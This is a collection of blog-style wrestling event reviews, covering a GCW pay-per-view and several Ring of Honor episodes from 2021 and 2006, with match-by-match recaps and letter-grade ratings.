Lufisto gets rid of Webb and B-Boy and we’re down to Lufisto, Parrow, Rosa, Mason and Vin. Rosa hurricanranas Parrow out and the women beat up Mason in the corner. Vin gets beaten down in an opposite corner until Rosa and Lufisto slug it out. Mason sneaks up and tosses Rosa but Lufisto suplexes both of them. Vin puts Lufisto on the apron and Mason drives Vin into her for the elimination. A low bridge sends Vin to the apron but he chokeslams Mason out for the win at 16:04.

Rating: D+. This wasn’t a good start to the night as I’m still not sure who all was in the match. Commentary didn’t do a good job of explaining what was going on and the camera work made it even harder to keep track of the whole thing. I’m not quite thrilled with where things are going from here, but hopefully we get something a little easier to follow going forward.

Kickoff Show: Jack Cartwheel vs. Alex Zayne vs. Grim Reefer vs. Shane Mercer vs. Ninja Mack vs. Dante Leon

No tags and one fall to a finish. Zayne is billed as The Sauce and from the nearest Taco Bell. The fact that he is from Lexington makes it even better. Mercer starts fast with a pop up powerslam on Reefer (that looked good) and there’s a big flip dive to drop some people on the floor. Cartwheel and Mack hit their stereo running flip dives to the floor, followed by dives from Zayne and Leon.

Reefer goes up, lights one up, and hits a big springboard flip dive to drop the pile. Back in and Mack punches away at Reefer before hitting the People’s Moonsault. Leon comes in for a cutter on Mack but gets powerslammed by Mercer. A super fireman’s carry flapjack drops Leon but Zayne clears the ring. Cartwheel takes him down for a slingshot hilo but Mercer is back up with a gorilla press drop.

Reefer kicks Mercer down and spins him into a Crossface with Leon making the save. Leon’s big cutter hits Reefer but Mercer plants Mack with a super backflip World’s Strongest Slam. Zayne is held in the ropes for a shooting star press from Cartwheel, driving Zayne into the apron. A chair is brought in but Reefer counters Mercer’s….something into a DDT onto the chair for the pin at 7:58.

Rating: C+. This was slightly easier to follow than the opener but that isn’t saying much. The thing to remember about a match like this is that it is all about getting your stuff in with nothing resembling a story being told. The match may be fun, but this is all about setting things up for the real card. Not exactly good, but a lot of fun and rather exciting, as is kind of the point.

Owner Brett Lauderdale comes out to hype up the crowd and talks about how hard it has been to get here. They were ready to take over the world but then the pandemic hit. He was told that a million GCW’s have come and gone but now they are here with the roster to make it work.

We get the entrances for the opener, which will start when the show goes on the air. This company has some AEW influences.

The opening video, which is rather quiet, shows a bunch of wrestlers in the empty building with their voiceovers talking about how they have no business at this level. Now they’re here to prove that they belong. Right on point here.

AJ Gray vs. PCO vs. Alex Colon vs. G-Raver vs. Tony Deppen vs. Jimmy Lloyd vs. Jordan Oliver

Ladder match, with the winner getting any title match they want at any time. AJ Gray is a surprise entrant as his scheduled opponent, Eddie Kingston, is out with an injury. They start fast (I’m not sure I heard a bell) with Deppen hitting a springboard dropkick to drive the ladder into Lloyd and Oliver.

Gray buckle bombs Deppen into the ladder in the corner and blasts him with a lariat before going up. His ladder is WAY too short though, meaning G-Raver does him a favor by throwing a ladder at Gray’s ladder for the save. PCO comes in, allowing Colon to lift up G-Raver for a Doomsday Device, albeit with a ladder shot instead of a clothesline to make it even worse. Colon hits PCO in the face with the ladder but Oliver dropkicks the ladder down to break up the double climb.

Oliver kicks Lloyd in the face and hits a dive to the floor. PCO hits his own running flip dive through the ropes. Deppen adds a double springboard flip dive to take out everyone, sending them walking up the aisle. As luck would have it, Gray is ready with his own running flip dive off the stage at the exact same time. PCO chairs Gray down and moonsaults off the top onto the big pile again.

That means PCO can climb, but he’s actually smart enough to drop down and beat up anyone trying to make a save. Deppen brings in a bigger ladder and bites PCO on the face but Jordan Oliver is there to cut him off. Lloyd breaks that up too but gets kicked down by Oliver. PCO chokeslams Oliver off of the ladder though and there’s a package piledriver onto the ladder to make it worse.

G-Raver and Colon break that up, with Raven putting Colon onto two chairs with a ladder over his back. Raver goes up, shoves the ring out of the way, and drops down onto the ladder onto Colon. Well that was dumb. Lloyd gives Raver a running Razor’s Edge over the top and onto a big pile of stuff on the floor. Gray goes up on a ladder on the floor and tries to dive into the ring, only to crash hard onto another ladder (the fact that I’m not sure who he was aiming for is a bad sign). Cue John Wayne Murdoch to take out Colon on the floor, leaving Gray to take the ring down at 15:11.

Rating: C-. The spots were good, but this was a very indy style ladder match, which is not meant as a compliment. There was too much going on between all of the people and it didn’t work so well. At the same time, you had a person shoving the ring out of the way to hurt someone else. That’s about as bad of a level of ladder match logic as you’ll find, making this quite the mess.

Gringo Loco/Demonic Flamita/Arez vs. Bandido/ASF/Laredo Kid

Lucha rules (duh) and it’s Arez starting with Kid. The trade early misses until Kid’s hurricanrana is easily blocked. An armdrag sends Kid outside so it’s Bandido coming in for Three Amigos. That means the Eddie dance as it’s a headscissors to send Arez outside. Loco comes in to hammer on Bandido, who is sent outside so ASF can come in. A wristdrag sends ASF outside for a change and it’s Flamita coming in to take his place.

The 619 in the corner looks to set up something off the top but Flamita flips off the crowd and drops down to flip the fans off instead. ASF is left alone in the corner, with Flamita and Arez hitting stereo moonsaults to the floor (that was sweet). Bandido and Kid get caught in stereo surfboards on the floor for the big running flip dive from Loco. ASF is sent outside as well, only to get launched over the top for the crash back inside (cool).

Flamita follows him back in for two, with ASF climbing Flamita to armdrag Loco. Bandido’s team is back in with stereo superkicks into stereo headscissors to the floor. The not quite stereo dives take out Loco and company but ASF and Kid miss missile dropkicks back inside. Flamita and Bandido are left alone for a big staredown, with Flamita kicking him down and hitting a huge frog splash.

ASF hits a 450 but Arez makes a save of his own. A dropkick breaks up Arez’s cover and a Death Valley Driver gets two on Flamita. It’s Bandido vs. Loco for a strike off until Bandido hits a heck of a tornado DDT. Back up and Bandido and Loco grab double electric chairs (as in Arez is on Flamita’s shoulders on Loco’s shoulders while ASF is on Kid’s shoulders on Bandido’s shoulders), leaving ASF and Arez to slug it out rather high in the air.

ASF snaps off a Canadian Destroyer (egads man) while Loco and Bandido hit powerbombs on the other two. Loco catches a charging Bandido in a Spanish Fly and everyone is down. Back up and Bandido LAUNCHES ASF over the top and into a hurricanrana on Loco. Flamita hits a dive, then Bandido hits a dive, then Kid Spanish Flies Arez off the top onto the pile. ASF and Loco seem to load up a super Canadian Destroyer but can’t get the timing right, leaving Loco to hit a regular piledriver for the pin at 14:10.

Rating: A-. The double electric chair was good enough to make this about as fun as it could have been and the rest was a bunch of insanity that you can only get in a match like this one. This kind of a match is designed to have a bunch of people flying around with one crazy spot after another and they made it work like only they can here. Bandido’s awesomeness has long since been established and it was on full display again with this one. Check this out, which you should always do with something involving these people.

Ian Riccaboni joins commentary.

Ring of Honor World Title: Blake Christian vs. Jonathan Gresham

Christian is challenging…or at least he would be if Gresham was here but we need to make a last second change. Worry not though, because we have a replacement.

Blake Christian vs. Lio Rush

Rush offers a handshake but Christian looks at him instead. They do shake left hands though and it’s an armdrag to take Rush down. Back up and Christian offers a handshake, which allows him to sunset flip Rush for two. Rush bails to the floor for a breather before heading back inside to avoid some charges.

Christian heads outside, only to pull Rush outside for a whip into the barricade. Back in and a tilt-a-whirl gutbuster gives Christian two, setting up a roll into a crucifix hold. That’s broken up and Christian misses a charge into the corner, allowing Rush to hit a spear for two. Christian is fine enough to catch him with a kick to the face on top but Rush kicks him down.

A ripcord Spanish fly drops Rush again though and a springboard 450 gives Christian two. Rush is right back with a twisting DDT and the Final Hour gets two more. They go to the apron where Rush can’t hit a German suplex to the floor. Instead they drop down, with Christian hitting a Tombstone. Back in and a 450 double stomp finishes Rush at 12:39.

Rating: B-. Take two guys and let them do their thing for about twelve minutes, which is all you needed to do here. Christian gets the win to keep him strong until he can get his title shot. Gresham being gone is rough to see but having someone like Rush as the backup worked as well as anything else. Good match, but they weren’t about to follow that six man.

We recap Matt Cardona vs. Joey Janela. Cardona married Chelsea Green but Janela faked some pictures of the two of them by a pool together, sending Cardona over the edge. The interesting thing is that Cardona is the huge heel who is mocking all things indy and trying to turn it into WWE. This has been one of the better things going on the independent scene and Cardona has had one awesome stunt after another.

The IF CARDONA WINS WE RIOT sign is a great touch.

Joey Janela vs. Matt Cardona

Chelsea Green is here with Cardona….who comes out to Enter Sandman entrance (or at least a cover), turning the crowd completely upside down in about three seconds. The “IF CARDONA WINS WE RIOT” shirt is an even greater touch. He also has a red flannel shirt with f*** Mick Foley on the back, while Green (with the Internet Title) is in the Zack Ryder half trunks/half tights. Cardona asks what’s up GCW Universe and takes credit for the sellout. Joey Janela didn’t do it, so tonight he’s ending Janela’s career before Tony Khan can fire him.

Cardona jumps him at the bell for two and flips off the fans. The fans get in a “F*** CARDONA/WOO WOO WOO!” chant so Janela hits a Death Valley Driver through the door. The suicide dive takes out Cardona on the floor and it is time for Janela to chair him down. A top rope flip dive sends Janela crashing through the chair though and Cardona gets to chair him down. Green pulls the chair away though and kicks Cardona low for a big surprise.

Janela goes up, only to get crotched by Green because it was a ruse. Cardona shows off the cup he was wearing but Janela is fine enough to hit a superplex to put them both down. Janela grabs the title, but here is Smart Mark Sterling (of AEW fame) to say that if Janela uses the title, he’s disqualified. Commentary: “But it’s GCW!” He brings out someone who is very influential in Cardona’s career, so here is someone in a Vince McMahon mask. It’s Vincent/Virgil though, and the distraction lets Sterling grab Janela.

The belt shot takes Sterling down by mistake though and a Death Valley Driver sends Cardona into the ring frame. Cue Swoggle to post Janela but here is a huge guy named Sam Stackhouse to take Swoggle out. Now it’s Marko Stunt to throw a chair at Swoggle’s head but Cardona takes him down as well. Janela brings in a pair of doors, with Swoggle and Cardona being put through one each.

Green hits Stunt with the belt and gives him a Canadian Destroyer, leaving Cardona to AA Janela through an open chair for a near fall. Cardona loads up two doors, which really does take too long so Janela takes him out. Green’s latest interference earns herself a piledriver so here is a guy in a motorcycle helmet. That would be Brian Myers, who decks Janela and helps Cardona hit a middle rope Radio Silence through the door for the pin at 19:39.

Rating: B-. It was a bit long, but this was a lot of fun with Cardona playing a perfect troll. Cardona knows how to make these people nuts by doing everything they don’t like and now he gets to take out another one of their heroes. The big flaw here is that the match went too long and you could have cut out a good portion in the middle which was more about several other people other than Janela vs. Cardona. This was all about Cardona putting together something else to get people to care about him though, as he continues to be one of the more creative people in wrestling.

Post match Sean Waltman of all people comes in and takes out Cardona before posing with Janela. I’m sold on getting to hear The Kings again.

Here is the injured Mance Warner for a chat. He talks about how awesome GCW’s locker room and entire crew is and thanks the fans for getting them here. Cue Atticus Cougar (pronounced Co-Gar) to say 44OH are the real outlaws around here. Cougar doesn’t like Warner’s Second Gear Crew so Warner is ready to fight.

44OH comes in for the beatdown, with Matthew Justice (Warner’s partner) coming in for the failed save attempt. The lights go off (BECAUSE WRESTLING!) and it’s Bill Alfonso and Sabu making the save. Chairs to the head put 44OH down and we actually get a pin, with Fonzie counting. Pantera’s Walk plays because ECW.

Video on Allie Katch vs. Ruby Soho. Katch talks about divine destiny, meaning that if something is meant to happen, it will happen no matter what. That seems to be the case with this match, as she runs into SOHO painted on a wall. Katch was billed as a big deal during Brett Lauderdale’s pre-show speech so she means something. I don’t remember her being much more than someone who did cat-esque things as Allie Kat but maybe things have changed.

Allie Katch vs. Ruby Soho

They shake hands to start and Soho armdrags her down early on. The threat of the Riott Kick is blocked early on but so is Katch’s piledriver. That’s fine with Allie, who hits a basement dropkick for an early two. Soho is sent into the corner and it’s a running hip attack into a Cannonball for two more.

They trade kicks to the face with Soho getting rocked, only to be able to come back with a German suplex for the double knockdown. Katch takes too long going up top though and gets armdragged back down for a quick two. The Riott Kick connects for two on Katch but she’s right back with a knee into the piledriver for two of her own. With that not working, Katch loads up a super piledriver, which is countered into a Riott Kick from the middle rope to give Soho the pin at 9:31.

Rating: C. I’d hope that Katch can do more than this as it felt like any other match. This came off like a match where a star was making a guest appearance in the territory with the story of the popular star getting a shot. It wasn’t bad, but there was absolutely nothing special to this and it just came and went.

We recap Jeff Jarrett vs. Effy. Jarrett doesn’t like GCW calling themselves outlaws because he is the Last Outlaw. There has to be a huge stable out there of people who have been THE LAST OUTLAW. There have also been guitar shots to show you how serious this has been.

Jeff Jarrett vs. Effy

Effy pulls $20 out of his trunks, which the referee throws to the floor. They go with the basics to start, with Jarrett powering him into the corner. Effy’s spins to get out of a wristlock don’t work so Effy drops to his knee, which freaks Jeff out for a bit. Some shots to the ribs set up a modified Tarantula but Jarrett is back with a clothesline. They head outside with Jarrett whipping him with the belt (which seems to draw a DADDY LIKES IT chant).

Back in and it’s time for more whipping and choking, which seems to make Effy smile. Jarrett uses the belt to tie Effy in the corner, which doesn’t exactly last long. Effy is back with more rights and lefts, setting up a faceplant for two. Now it’s Effy getting to whip away but he misses a Blockbuster. The guitar takes too long for Jarrett though so Effy pulls off his fishnets for some choking. That’s too much for Jarrett, who hits him with the guitar and grabs the Stroke for the pin at 11:15.

Rating: D+. I’ve heard a lot of good things about Effy and I’m going to assume that a lot of it is due to his promos and character work, because he wasn’t doing much in the ring here. All he had was a bunch of punches and a missed Blockbuster, which isn’t exactly stealing the show. That being said, Jarrett winning is a good bit weird, as he is the second outsider in a row to beat a signature GCW name on their biggest night ever. Not a great match, but you can see how much bigger of a star Jarrett is than most of the roster. If nothing else, seeing someone who seems like he knows how to put a match together is almost a rarity around here.

GCW World Title: Homicide vs. Jon Moxley

Homicide is challenging after winning a Rumble last month. The fans chant F*** BULLY RAY to start, which has to make Moxley smile a bit. They forearm/slap it out to start before going face to face. Homicide sends him outside but the dive is cut off with a shot to the face. The fight heads outside with Homicide biting away, only to get sent shoulder first into the post.

Moxley cranks on the fingers and hits a piledriver for two For some reason Moxley goes up but it’s a super cutter to bring him back down. They trade clotheslines until Moxley grabs the Paradigm Shift for two. Moxley hammers away and Homicide seems to lose a tooth. A chair is wedged in the corner but Homicide cuts him off and strikes away. The chair is on the mat and it’s another Paradigm Shift onto said chair to give Moxley two more. Homicide flips him off and bites Moxley’s face, only to get blasted with a lariat. The lifting Paradigm Shift onto the open chair retains Moxley’s title at 11:32.

Rating: C. That’s it? This was so short that I thought I missed part of the match, as I would have bet on it going a good bit longer than Jarrett vs. Effy. Maybe that is the result of ring rust from Moxley, or just time constraints from the pay per view, but this wasn’t exactly great. It worked while it lasted, but it just didn’t last very long.

Video on the Briscoes, who are issuing an open challenge for the Tag Team Titles. Most signs would suggest that this is going to be FTR, but you never know around here.

Tag Team Titles: Briscoes vs. ???/???

The Briscoes are defending against….Nick Gage/Matt Tremont. Well you knew Gage would be on here somehow. Gage puts Nick through the door in the corner to start and it’s time for a duel of the chairs. Mark and Nick trade pieces of door shots to the head but Jay breaks up the pizza cutter. Tremont gets beaten down and the Froggy Bow onto a door gets two on Gage. Back up and Tremont hits a release Rock Bottom to plant Jay and Gage hits a middle rope piledriver on Mark. The chokebreaker gives Gage the pin and the titles at 5:35.

Rating: D. That was a Nick Gage match alright, but this time he had a huge partner to do some really basic stuff too. I know why Gage had to be on the show but it isn’t like his matches are much to see. It’s the feel good moment of the show, though having it come in a five minute match didn’t do the show many favors.

Post match Gage swears a lot and puts over his gang while bragging about how far GCW came. The locker room comes in to celebrate and we’re out.

Overall Rating: D+. One of the shows you are probably going to see this compared to is Barely Legal. While it is nowhere near that important (or good), there is one thing that does stand out. My biggest issue with Barely Legal was the lack of an explanation of why Sabu and Taz hated each other. It was the “Grudge Match of the Century” but we were never told why they were fighting. The ECW fans knew, but Barely Legal wasn’t just a show for the ECW fans.

Now do that for three hours and you have this show. There was barely anything explaining who these people were, what they were doing here, why they were fighting or ANYTHING about them. Cardona vs. Janela had a bit of backstory, but this felt like the game plan was “just keep doing what we’ve been doing (minus the deathmatch stuff, which isn’t their fault)”. It was a show that you either got or didn’t get, with GCW not offering much in the way of guidance.

On top of that, the wrestling was hit and miss at best. Everything felt rushed and very little really stood out. The lucha match was great, but you could get one of those a week on Ring of Honor. Cardona is excellent at riffing on independent wrestling, but then he won, just like Soho over what seems to be the big female star around here. This show didn’t do a thing to make me more interested in GCW and as the big debut on the national stage, it was a pretty hard miss.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

Ring of Honor
Date: December 29, 2021
Location: UMBC Event Center, Baltimore, Maryland
Commentators: Ian Riccaboni, Caprice Coleman

We have finally arrived at what seems to be the last original content episode of the show. That causes some mixed feelings, as it is sad to see the show go but it also finally puts it out of its misery. That should not be the case with any wrestling show, but it has been around here for a long time. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Dalton Castle promises a Christmas surprise.

Quinn McKay gives us the opening welcome and rundown.

Josh Woods gets to draw his names for the Christmas Surprise twelve man tag team main event and seems rather pleased.

Brian Johnson draws his names and is less impressed, as is his custom.

Women’s Title: Holidead vs.Rok-C

Holidead is challenging and says it is time for the dark reign to begin. Rok-C is ready for whatever Holidead brings at her because Holidead doesn’t have heart or the title. She still isn’t great at this talking thing. Rok-C rolls away from her to start before grabbing a headlock. Holidead is back with a headlock takeover of her own, which is reversed in a hurry as well.

Rok-C’s headlock takeover puts Holidead down for a change before Rok-C starts striking away to send Holidead outside. The suicide dive is pulled out of the air though and Holidead posts her to send us to a break. Back with Holidead putting her in a fireman’s carry for some head first rams into the buckles.

Rok-C comes back with a Thesz press and right hands, followed by the Rok Knees for two. A swinging Downward Spiral gives Holidead the same but Rok-C is back with a Backstabber. The running knee to the face gets two on Holidead, who cuts her off with a spinebuster for a near fall of her own. Back up and Rok-C grabs a quick Code Rok to retain at 13:30.

Rating: C. Assuming this is the last time we see a match like this on Ring of Honor TV, it’s a perfectly fine way to wrap up the women’s division: a technically sound yet lifeless match as two women did moves to each other until one of them won. The women’s division never caught on and always felt like the most serious part of the show. It wasn’t awful, but it also wasn’t interesting and that made it a chore to watch at times.

Dalton Castle still has a surprise for us.

Post break, Castle seems to start a song and dance number with the Baby Chickens but one of them breaks something, sending Dak Draper into a rage.

Team Johnson vs. Team Woods

Brian Johnson, Rhett Titus, Kenny King, Rey Horus, Homicide, Flip Gordon
Josh Woods, Silas Young, Matt Taven, Bandido, Jay Briscoe, Mark Briscoe

Everyone gets their own entrance, complete with rather personalized Christmas wish lists for their graphics, such as:

Never to see Danhausen again – Johnson
Shane Taylor’s head on a platter – King
Timbaland Boots so I could kick my opponents’ heads off – Homicide
Get my memory back – Gordon
The internet to like me – Taven
Jet pack – Mark Briscoe
Lug wrench – Jay Briscoe

Johnson gets his big BAH HUMBUG entrance because he can’t stand any of his partners. Homicide drives Jay into the corner to start as we get some Ring of Honor history lessons from commentary. The lockup takes them over to the ropes so Woods can tag himself in. The rear naked choke has Homicide in trouble so he bites his way to freedom. They slug it out until Homicide yells at him and bails into the corner. Titus comes in and takes it to the mat with Woods, which doesn’t seem to be the best move. Woods counters a short armscissors in a hurry and we take a break.

Back with Taven dropkicking Gordon but getting taken down by a headscissors. Bandido comes in to face Gordon, with the latter walking on his hands. That’s fine with Bandido, who has an open shot for a superkick. Horus comes in and everyone drops off the apron because they know this is going to be good. They run the ropes but neither can go anywhere, with guest commentator Quinn McKay complimenting their hair. King and Mark come in with the latter taking him down by the leg.

Back up and some Red Neck Kung Fu staggers King, who hands it off to Titus instead. We get a Briscoes vs. King/Titus (the former All Night Express) showdown for another old times sake faceoff as everything breaks down. We take another break and come back with Horus forearming Castle and avoiding a charge into the corner. Horus hits a big dive onto Young as Gordon is watching from the commentary desk. Thankfully he comes back to his senses and dives onto a bunch of people in the aisle.

Back in and Homicide escapes Taven’s Climax but gets kneed in the face for two. Gordon Kinder Surprises Taven off the top, leaving Bandido to hit the X Knee on Horus. Back up and Horus hits a heck of a tornado DDT to plant Bandido but it’s time for the parade of finishers. Johnson rolls Mark up with tights for two so Mark strikes away against the ropes. The Cutthroat Driver sets up the Doomsday Device to finish Johnson at 20:45.

Rating: B. This is all it should have been as they didn’t try to have much of a match outside of everyone going nuts and having fun out there. That’s all you need to do in a situation like this, because not only is this a special, but it’s probably the last match from the original era. It was a lot of fun and it worked very well, especially with the Briscoes getting the win, as should be how things go out.

Everyone hugs and the Briscoes are lifted onto some shoulders as commentary talks about how this is pretty much it to wrap it up.

Overall Rating: B-. And that’s it, which makes me rather sad. Ring of Honor is still the most influential promotion of this generation but it ends in front of no fans with a show that means nothing. The show itself was pretty good, but this was all about the farewell, which seems to be a whimper rather than any kind of grand finale. I’m not sure what is next for Ring of Honor, but I’m almost scared to see what follows this under the same name.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

Ring of Honor
Date: October 27, 2021
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Ian Riccaboni, Caprice Coleman

Well now everything has changed. Ring of Honor’s future suddenly looks WAY different and that is not the best news. I’m not sure what is going to happen with the company but it is clear that things are going to be wrapping up. Hopefully the final few shows are good, but this is very uncharted territory. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Vincent is checking himself in the mirror and has the rest of the Righteous say that “he” is going to love it.

Quinn McKay runs down the card, which is all based on Violence vs. Pure.

Rhett Titus vs. Tony Deppen

Both of them talk about how they want to show that their style is better. They go with the technical stuff on the mat as Deppen wants to show he can do this too. Titus grabs a test of strength and powers him to the mat without much effort but Deppen reverses into a leglock. That’s broken up and we take an early break, coming back with Titus putting on a headscissors. Deppen is out in a hurry with a backslide but Titus snaps off a butterfly suplex for two.

A knee to the ribs and a knee to the back of the head give Deppen two of his own before he ties up Titus’ arms. Some biting of the hand gets two on Titus and here is Homicide to get on the apron for no logical reason. Titus blocks a backsplash by raising the knees and we take a break. Back again with Titus being sent to the apron but managing a hard slingshot shoulder for two. Homicide grabs a chair for a distraction, causing Titus to miss a running boot in the corner.

Deppen kicks him to the floor and hits a suicide flip dive (a Homicide specialty), followed by a top rope double stomp for two back inside. Homicide is NOT happy with the kickout as they trade rollups for two each. Titus gets in a gutwrench suplex and some running boots in the corner, setting up an implant DDT for two more. There’s the half crab with a knee in the back but Homicide throws in the chair for the distraction. Said distraction lets Deppen hit Titus with the chair, setting up the running boot for the pin at 12:23.

Rating: C+. I liked this one as Titus has improved a bit with his new style. He looks smooth with the clean wrestling stuff and that is nice to see as he has rarely had anything that has stuck (often through no fault of his own). Deppen is a rather good heel too and they worked well together, with the cheating making sense for the faction with the numbers advantage here.

Post break, Titus wants to know where the Foundation was during that. Fair question.

Tony Deppen asks why Homicide wouldn’t help him. They’re from the places with no rules so why would they follow rules here?

Brody King/Chris Dickinson vs. Jonathan Gresham/Tracy Williams

Homicide and Jay Lethal are the seconds. Before the match, both teams say their way is better. The Foundation jump them from behind to start in a bit of a twist and the fight goes outside early. Dickinson beats on Gresham in the corner and hands it off to King to power him around. It’s right back to Dickinson, who tries to go after Gresham’s leg, which just does not seem that bright.

King is back in with a neck crank to grind Gresham down but he finally sends King into Dickinson. That’s enough for the hot tag off to Williams so the pace can pick way up. Dickinson kicks Williams in the face but Williams hits a running corner clothesline. We take a break and come back with Gresham getting the tag and chopping away at Dickinson. The Foundation takes turns stomping on Dickinson’s ankles but Gresham ducks right into a knee to the face (that looked GREAT) to knock him silly.

Gresham gets up a boot in the corner though and tweaks King’s leg, setting up the sleeper. The other two get in a brawl of their own though and then crash the hold for the save. We take another break and come back again with King Boston crabbing Williams as Dickinson gets Gresham in an STF. Both holds are broken up so Dickinson puts the STF on Williams. That’s reversed into a Crossface but Dickinson flips out of that as well and grabs a rear naked choke. King holds Gresham back as Williams passes out at 12:52.

Rating: B. This was quite a match, with both teams getting the chance to shine. Dickinson beating Williams with a clean hold was interesting and not something I would have seen coming. If nothing else, I would have bet on the Foundation to win here to even up the night, so well done on throwing in a surprise here.

Jay Lethal and Homicide are already here and since they’re scheduled for the main event, let’s go.

Jay Lethal vs. Homicide

Lethal has the Foundation head to the back while Violence Unlimited stays at ringside, which can’t possibly go badly. Lethal starts fast and knocks Homicide outside, setting up the triple suicide dives. Back up and Homicide shoulders him to the floor, setting up the big flip dive and they’re both down for a second.

They get back in for the slow motion slugout until Lethal misses a middle rope dropkick. For some reason a fork is placed in the turnbuckle but neither can go face first into it. Instead, Homicide chokes away but Lethal scores with a superkick. Cue Dutch of the Righteous to jump Tony Deppen as the Lethal Injection finishes Homicide at 5:37.

Rating: C. It was fun while it lasted but they were flying through everything here until the screwy finish. That would be the finish where another faction interfered in a match between factions, but at least they interfered after a fast paced match. Lethal vs. Homicide could be a good showdown if they were given the chance, but we only got something fun for a little while here.

The Righteous poses on the stage and applaud everyone to end the show.

Overall Rating: B-. Another pretty good show here, but it is kind of hard to get interested when this version of Ring of Honor is not going to be around much longer. There was a theme here, but this time, even moreso than usual, it was all about a few groups of wrestlers and that is not exactly the most interesting. I could go for something different, though I’m not sure if that is an option right now. Either way, at least it was a fun show with a theme.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

Ring of Honor
Date: August 18, 2021
Location: UMBC Center, Baltimore, Maryland
Commentators: Ian Riccaboni, Caprice Coleman

We’re still in the middle of the Women’s Title tournament and the results have been hit and miss so far. As tends to be the case in a tournament with a bunch of unknowns, some of the matches have outshone the others, there have been a few that didn’t exactly offer much. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

We open with a recap of some previous round matches.

Ian Riccaboni previews the dead.

Holidead is the next “I’m dead and creepy” wrestler but talks rather fast and seems angry about a lot of things.

Max the Impaler is the next monster heel and has Amy Rose in her corner to promise violence in destruction.

Women’s Title Tournament First Round: Max the Impaler vs. Holidead

Holidead crawls around and shouts a lot to start and they trade some forearms to the face. Max shrugs off some clotheslines in the corner and sends Holidead flying. Holidead manages a slam but Max does the Undertaker situp to freak her out. A big charge drives Holidead into the corner and Max sits on her back. Back up and Holidead misses a charge into the post to make it even worse for herself.

Max tosses her with a suplex and we take a break. Back with Holidead elbowing her way out of a fireman’s carry and grabbing a DDT. This time it’s Max missing a charge into the post and getting caught in a release German suplex. Holidead hits a suicide dive to the floor but Max backdrops her way out of Darkness Falls. Instead Holidead settles for a spinebuster but misses a guillotine legdrop. An over the shoulder backbreaker finishes Holidead at 9:18.

Rating: C. This tournament continues to confuse me a bit as there is only so much you can get out of something where the matches are thrown together with no history between them. Both of them were a little scary and strong and Max won. How much more can I really get out of it than that? Completely watchable, but not exactly memorable.

Video on Matt Taven vs. Vincent. I’m not wild on Taven’s facial hair choices. Thankfully he shaves it off after talking about how Vincent has ruined his life but now he wants the World Title match.

Champions vs. All Stars

Champions: Bandido, Homicide, Chris Dickinson, Jonathan Gresham, Dragon Lee

All Stars: Flip Gordon, Briscoes, Josh Woods, EC3

I think the name speaks for itself. Bandido’s World Title still says Rush because he wants people to know who he beat to win it. Or Ring of Honor is slow updating things. We get a cool shot of all the titles on a table as Woods and Gresham go technical to start. Neither is getting anywhere and there seems to be some respect being shown here. Gresham wants Jay Briscoe but Dickinson tags himself in instead.

They hit the mat with Woods blocking a kneebar and shoving Dickinson down in a bit of a power display. Mark comes in to face Lee, which could be a bit interesting. With Flip standing on the floor, Mark unloads in the corner and shouts a lot but it’s off to EC3 to drop Lee with a neckbreaker. Flip tags himself in for a standing moonsault and we take a break.

Back with Dickinson elbowing Flip in the face for two but a clothesline allows the tag back to Woods. Homicide is fine enough to come in and take Woods out, setting up the Homicide/Dickinson vs. Briscoes slugout. We settle down to Woods and Gresham going amateur (shocking I know) but it’s back to EC3 for a suplex to Gresham. The Briscoes start taking over on Gresham but Flip tags himself in again.

Gresham gets in a leapfrog, sending EC3 into Flip for a crash. Bandido gets the hot tag and everything breaks down in a hurry. Bandido and Rush hit stereo suicide dives onto Woods and Gordon and it’s time for the parade of kicks to the face. Gordon rolls Homicide up but runs into an overhead belly to belly. The 187 is blocked and Flip Five gives Flip two but a Paul Orndorff style piledriver gives Flip the pin on Homicide at 13:29.

Rating: B. The star power and general calamity of this one made it work as there is something cool about taking the champs and their challengers and throwing them together. You aren’t going to run out of pairings to put together here and it worked out rather well, as tends to be the case. This is one of those ideas that always works for ROH and it continued the tradition this time.

We run down the Glory By Honor card (both nights) to end the show.

Overall Rating: B-. Thankfully we are now on to the second round of the tournament and can get some more familiar matches going, as it hasn’t been the most interesting thing so far. Other than that, the show swung into a much different direction with the main event, which made this a good show as a result. I liked the main event concept and it set up the double night event. Good stuff, as ROH continues its roll.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

IMG Credit: Ring Of Honor Wrestling

Motor City Madness
Date: October 7, 2006
Commentators: Dave Prazak, Jared David

It’s another ROH DVD and another era I don’t know much about. That was a lot of fun when I checked out the 7^th Anniversary Show and this one is a little earlier, as we are only about four years into the company’s history. This time around we have Bryan Danielson defending the World Title against Austin Aries and a dream tag match between Samoa Joe/Homicide vs. the Briscoes. I’m not sure what to expect here so let’s get to it.

In an extreme closeup, Samoa Joe says that the Briscoes are in the wrong place at the wrong time. Bryan Danielson knocked him out with a title that he made and tonight, he’s taking it out on the Briscoes.

Homicide is ready to kill Jim Cornette (that’s kind of implied in the name) and doesn’t care who Cornette brings.

Austin Aries talks about his rivalry with Bryan Danielson and says he’s ready to take the World Title back.

Bryan Danielson talks about the two of them feuding forever and tonight, he’s taking the title.

Delirious vs. Zach Gowen

Hometown boy Gowen (who has one leg if you haven’t seen him before) seems to be a big surprise and if nothing else, it’s nice to hear Out Of My Way again. Gowen doesn’t want to shake hands before the bell so the bell rings and Delirious snaps, as he tends to do. Back in and Delirious grabs the referee, allowing Gowen to hit a missile dropkick. Commentary talks about Gowen bringing some sports entertainment to ROH as Delirious brings a clothesline to Gowen.

